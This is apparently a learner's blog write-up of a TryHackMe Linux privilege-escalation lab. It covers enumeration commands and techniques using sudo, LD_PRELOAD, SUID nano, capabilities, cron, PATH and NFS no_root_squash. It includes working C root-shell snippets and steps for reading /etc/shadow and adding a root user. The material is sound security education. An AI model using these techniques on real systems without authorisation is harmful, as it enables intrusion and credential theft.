Day 057 to 060 #FromZeroToHacker – Linux privilege escalation

There are no silver bullets or one solution for all the scenarios when dealing with Linux privilege escalation: It depends on the configuration of the target.

Let’s escalate our knowledge in our daily #FromZeroToHacker challenge.

Table of contents
Introduction
What have I learnt today?
Stats
Resources

Introduction to Linux privilege escalation

There are no silver bullets or one solution for all the scenarios when dealing with Linux privilege escalation: It depends on the configuration of the target (OS, supported programming languages, kernel version, etc).

Let’s see all the main privilege escalation techniques on Linux machines.

What have I learnt today?

What is Privilege escalation?

Before talking about privilege escalation let’s understand this concept first.

Privilege escalation involves going from a lower permission account to a higher permission one, by exploiting a vulnerability, design flaw or misconfiguration, to gain unauthorised access to resources you shouldn’t be available to have with your current user.

Why is it important?

Hardly we will be able to gain a foothold or initial access as an admin when doing a real penetration test. Nonetheless, having higher permissions is crucial, as we would be able to perform actions such as:

  • Resetting passwords.
  • Bypass access controls to protected data.
  • Editing configurations.
  • Enabling persistence.
  • Changing the privilege of existing (or new) users.
  • Execute any administrative command.
  • And more.

Enumeration

Enumeration is the first step to take when you gain access to any system.

hostname

The hostname command returns the hostname of the target machine. Sometimes this name is meaningless, like Ubuntu-238948953, but sometimes this may provide information about the target system’s role, for example, SQL-PROD-01 for a production SQL server.

uname -a

This will print all the system information with details (the -a flag means all). This may be useful while checking for potential kernel vulnerabilities.

/proc/version

The proc filesystem (procfs) provides information about the target system processes.

Proc version

/etc/issue

Systems can also be identified by looking at the /etc/issue file, as it contains information about the OS. Beware, as this file may be manipulated by the admins to hide the real information.

etc issue

ps command

The ps command lists the running processes on a Linux system. As always, we have different options:

  • ps lists the currently running processes.
  • ps -A lists all the running processes.
  • ps axjf displays the process tree.
  • ps aux displays the processes for all users (-a), the user that launched the process (-u), and the processes that are not attached to a terminal (-x).

env

The env command displays environmental variables.

env

sudo -l

The target system sometimes is configured to allow users to run some commands with root privileges. sudo -l displays a list of all commands we can use running sudo.

ls

List all the users in the current directory. ls -la displays hidden files.

id

The id command provides a general overview of the user’s privilege level and group memberships.

id

/etc/passwd

Reading the /etc/passwd file is a good option to discover users on the system

etc passwd

We can clean it with cat /etc/passwd | cut -d ":" -f 1:

etc passwd

This return all users, some of them are system or service users that wouldn’t be useful for us.

history

We can list earlier commands with history.

ifconfig

The target system may be a pivoting point to another network. ifconfig give us information about the network interfaces of the system.

ifconfig

Here, we have three interfaces: eth0, tun0 and tun1. We have access to the eth0 interface, but not the other two.

netstat

The netstat command prints information about the Linux networking system.

  • netstat -a shows all listening ports and established connections.
  • netstat -at or netstat -aucan be used to list TCP or UDP protocols.
  • netstat -l lists ports in listening mode: Ports open and ready to accept incoming connections.
  • netstat -s lists network usage statistics by protocol
  • netstat -tp lists connections with the service name and PID information.
  • netstat -i shows interface statistics.

The most used netstat command is netstat -ano, which uses the following flags:

  • -a for All sockets.
  • -n for do Not resolve names.
  • -o display timers.

find

Searching for files and folders may help to discover privilege escalation vectors. Some common used commands are:

  • find . -name <NAME>: Finds the NAME file in the current directory.
  • find / -name <NAME>: Finds the NAME file in all the system.
  • find / -perm a=x: Finds all the executable files.
  • find / -mtime 10: Find files that were modified in the last 10 days.
  • find / -atime 10: Find files that were accessed in the last 10 days.
  • find / -cmin -60: Find files that were changed in the last hour.
  • find / -amin -60: Find files that were accessed in the last hour.

The find command sometimes generates error which makes the output hard to read. We can add 2>/dev/null to the command to redirect the errors to /dev/null and have a cleaner output:

dev null

To find folders, we use:

  • find / -writable -type d 2>/dev/null: Find world-writeable folders.
  • find / -perm -o x -type -d 2>/dev/null: Find world-executable folders.

Other commands:

  • find / -name python*: Find supported languages (python, in this particular command).
  • find / -perm -u=s -type f 2>/dev/null: Find files with the SUID (Special file permissions for executable files) bit, which allows us to run the file with a higher privilege level.

Automated enumeration tools

Wow, that was a LOT of enumeration commands to remember!

Luckily, programmers are lazy, and we have at our disposal a load of tools that can help us save time during the enumeration process.

While this let us automate the process, their imperfection may make us miss some privilege escalation vectors. You win some you lose some.

Privilege Escalation: Kernel exploits

The idea behind privilege escalation is to reach root privileges. Sometimes we achieve this by just exploiting an existing vulnerability, but sometimes by switching accounts.

Unless a single vulnerability leads to a root shell, the privilege escalation process will rely on misconfigurations and lax permissions.

The kernel on Linux systems manages the communication between components (memory, applications…). This critical function requires the kernel to have specific privileges, and an exploit can lead to root privileges.

The kernel exploit methodology is simple:

  1. Identify the kernel version.
  2. Search and find an exploit code for the kernel version of the target system.
  3. Run the exploit.

Simple, right? But remember that a failed kernel exploit can lead to a system crash.

Research sources:

  1. Based on your findings, use Google to search for an existing exploit code.
  2. Sources such as Linux Kernel CVEs can be useful.
  3. An alternative would be to use a script like LES (Linux Exploit Suggester), but this may generate false positives.

Hints

  • Don’t be too specific about the kernel version.
  • Understand how the exploit code works BEFORE launching it.
  • Some exploits may require further interaction once they are run. Read the comments and instructions provided.
  • You can transfer the exploit code from your machine to the target with the Python HTTP server and the wget command.

Privilege escalation: Sudo

The sudo command by default allows you to run a program with root privileges. Sometimes, sysadmins give regular users some flexibility on their privileges.

Any user can check its current privileges with the sudo -l command.

Linux privilege escalation sudo -l

GTFObins is a valuable website that provides information on how any program where we have sudo rights can be used to escalate privileges.

Leverage application functions

Some applications may not have a known exploit (for example, Apache2). But we can use a hack to leak information leveraging a function of the application. For example, Apache2 has an option that supports loading alternative configuration files.

Linux privilege escalation apache2 help

Loading the /etc/shadow file using this option will result in an error message that includes the first line of the /etc/shadow file.

Leverage LD_PRELOAD

On some systems, you may see the LD_PRELOAD env options:

![[day_057_ld_preload.png]]

LD Preload

LD_PRELOAD is a function that allows any program to use shared libraries. If the “env_keep” option is enabled, we can generate a shared library which will be loaded and executed before the program is run. To summarize, we:

  1. Check for LD_PRELOAD (with the env_keep option).
  2. Write a simple C code compiled as a shared object (.so extension) file.
  3. Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file.

This C code spawns a root shell:

#include <stdio.h>  
#include <sys/types.h>  
#include <stdlib.h>  

void _init() {  
unsetenv("LD_PRELOAD");  
setgid(0);  
setuid(0);  
system("/bin/bash");  
}

We can save this code as shell.c and compile it with gcc into a shared object file with gcc -fPIC s-hared -o shell.so shell.c -nostartfiles.

shared.so

Now we can use this shared object when launching any program our user can run with sudo.

We need to run the program by specifying the LD_PRELOAD option with sudo LD_PRELOAD=/home/user/ldpreload/shell.so find.

This will result in a shell spawn with root privileges:

Shell spawn

Privilege escalation: SUID

Much of Linux privilege controls rely on controlling the users and file interactions, done with permissions. Files can have read, write and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-User IDentification) and SGID (Set Group IDentification). These allow files to be executed with the permission level of the file owner or the group owner.

These files have an s bit set showing their special permission level:

SUID find

A good practice would be to compare executables on this list with GTFObins. Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set.

The list above shows that nano has the SUID bit set. Sadly, GTFO bins don’t provide us with an easy solution. In typical real-life privilege escalation scenarios, we will need to find intermediate steps that will help us leverage whatever minuscule finding we have.

GTFOBins nano suid

The SUID bit set for nano allows us to create, edit and read files using the file owner’s privilege. Nano is owned by root, which means that we can read and edit files at a higher privilege level than our current user has (unless we are root…). Now we have two options: Read the /etc/shadow file or adding our user to /etc/passwd.

After using file / -type f -perm -04000 -ls 2>/dev/null we can see that nano has the SUID bit set.

Also cat /etc/shadow will print the contents of the /etc/shadow file. We can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs bot the /etc/shadow and the /etc/passwd files.

Let’s create a copy of both to play with:

Shadow passwd

The unshadow tool’s usage can be seen below:

Unshadow

We could also create a new user with root privileges.

To do so, we will need the hash value of the password we want the new user to have. We can do it quickly with the openssl tool on Kali Linux:

Openssl

Then, we can add this password with a username to the /etc/passwd file:

Add a new user

Now, we could switch users:

Privilege escalation: Capabilities

Admins can increase the privilege level of a process or binary with “Capabilities”. Capabilities help manage privileges at a granular level, giving permissions to specific users (instead of groups). We can use those privileges to run programs that we shouldn’t.

List enabled capabilities with getcap -r / 2>/dev/null:

Getcap

Here we have 6 files that we can use to leverage for privilege escalation. Search them in GTFOBins and run the code to achieve what you want:

Capabilities GTFOBins

Privilege escalation: Cron jobs

Cron jobs are scripts that run at specific times. They run with the privilege of their owners, not the current use, so we can use them to run the code that we want.

The idea is that if there is a scheduled task that runs with root privileges, we change the script to run our code with root privileges.

We can read the file-keeping system cron jobs with cat /etc/crontab.

Cron tab

Here we can see that 4 scripts run every minute as a root user.

Crontab is always worth checking, as sometimes sysadmins create a cron job to run a script, and once the task is not needed, they delete the script but not the cron job that we can exploit.

Privilege escalation: PATH

PATH in Linux is an environment variable that tells the operating system where to search for executables. If a folder for which our user has write permission is located in the path, we can potentially hijack an application to run a script.

Echo path

Do we have folders under $PATH with high privileges? If not, search for folders with writing permissions with find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u.

One of the folders that may have writing permissions is /tmp, but at this point /tmp is not present in our PATH. We can add a folder to the PATH with export PATH=<OUR_FOLDER>:$PATH. For example, export PATH=/tmp:$PATH.

Now, we can create files here. Let’s create a file that can read a text file.

echo "cat <PATH_TO_FILE>" > <NEW_FILE>

Now, let’s grant it permission:

  chmod 777 <NEW_FILE>
  ls -la

We can’t just run this file raw. Let’s create a script that will launch a binary system:

#include<unistd.h>

void main() {
  setuid(0);
  setgid(0);
  system("thm");
}

Save the file, turn it into an executable and set the SUID bit:

  gcc <FILENAME>.c -o path -w
  chmod u+s path
  ls -l

Once executed, path will look for an executable named thm inside folders listed under PATH.

Privilege escalation: NFS

We can use shared folders and remote management interfaces misconfigurations to gain access to the target system.

You can read the NFS (Network File Sharing) file with cat /etc/exports.

etc exports

At the end of the print, we can see three directories. Any directory with no_root_squash is a potential vulnerability, as we can create an executable with SUID bit set and run on the target system.

Enumerate mountable shares from our own machine with showmount -e <TARGET_IP>:

Showmount

Then, we will mount one of the no_root_squash shares to our own machine:

mount -o rw <TARGET_IP>:/<SHARE_DIRECTORY> <LOCAL_DIRECTORY>
mount -o rw 10.10.94.73:home/ubuntu/sharedfolder /tmp

Now, create a .c file, add an exploit code, compile it and set the SUID bit:

Create exploit gcc

Here is the code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
  setuid(0);
  setgid(0);
  system("/bin/bash -p");
  return 0;
}

We have an exploit in our machine and, thanks to the folder with no_root_squash, it is also in theirs 🙂

Shared folder exploit

Now, just run the code on the target machine to become root:

Summary

P.S: This lesson took me 4 days to finish. It was pretty long, but I also noticed one thing: The whole path has MEDIUM difficulty. I just started Cyber Security less than 2 months ago. I noticed an increase in the difficulty by a lot. But finally I’m done with this lesson.

Besides new commands to enumerate and a few automated enumeration tools, we have learned how to escalate privileges with:

  • Kernel exploits which we can find in Exploit-DB and googling.
  • Executing commands with root privileges or sudo.
  • Using files that have SUID privileges.
  • Process with Capabilities.
  • Manipulating Cron jobs.
  • Adding routes to $PATH to execute an exploit.
  • Mounting NFS vulnerable directories to pass exploits.

Stats

From 75.292th to 72.336th.

Here is also the Skill Matrix:

Skills Matrix

Resources

Path: Jr Penetration tester

Privilege Escalation

TryHackMe: Linux Privilege Escalation

Other resources

LinPeas
LinEnum
Linux Smart Enumeration
LES (Linux Exploit Suggester)
Linux Priv Checker
Linux Kernel CVEs